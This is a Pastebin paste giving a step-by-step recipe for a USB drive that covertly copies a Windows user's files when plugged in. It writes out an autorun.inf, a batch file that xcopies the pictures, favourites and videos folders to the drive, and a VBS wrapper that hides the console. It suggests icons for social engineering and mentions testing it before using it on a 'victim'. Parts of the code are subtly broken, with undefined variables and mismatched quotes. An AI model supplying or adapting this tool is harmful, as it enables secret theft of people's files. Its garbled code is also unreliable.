Advertisement
v1ral_ITS

Windows create USB auto pull any information just plugin

Jun 3rd, 2018
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.84 KB | None | 0 0
  1. STEP 1
  2. Open Notepad (I recommend Notepad++) and copy-paste the following lines.
  3.  
  4. [autorun]
  5. icon=drive.ico
  6. open=launch.bat
  7. action=Click OK to Run
  8. shell\open\command=launch.bat
  9. Save this as autorun.inf
  10. The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.
  11.  
  12. The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.
  13.  
  14. The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.
  15.  
  16. Image result for hacking pendrive
  17.  
  18. STEP 2
  19. Open Notepad again and copy-paste the following lines
  20.  
  21. @echo off
  22. :: variables
  23. /min
  24. SET odrive=%odrive:~0,2%
  25. set backupcmd=xcopy /s /c /d /e /h /i /r /y
  26. echo off
  27. %backupcmd%%USERPROFILE%\pictures” “%drive%\all\My pics”
  28. %backupcmd%%USERPROFILE%\Favorites” “%drive%\all\Favorites”
  29. %backupcmd%%USERPROFILE%\videos” “%drive%\all\vids”
  30. @echo off
  31. cls
  32. Save this as file.bat
  33. This file is configured to copy the contents of the current user’s pictures, favourites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.
  34.  
  35. The first file path “%USERPROFILE%\pictures” – is the target.
  36. The second file path “%drive%\all\My pics” – is the destination.
  37.  
  38. STEP 3
  39. Open Notepad once again and copy-paste the following line.
  40.  
  41. CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False
  42. Save this as invisible.vbs
  43. This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.
  44.  
  45. STEP 4
  46. Open Notepad one last time and copy-paste the following line.
  47.  
  48. wscript.exe \invisible.vbs file.bat
  49. Save this as launch.bat
  50. This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.
  51.  
  52. STEP 5
  53. Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also, create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.
  54.  
  55. This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement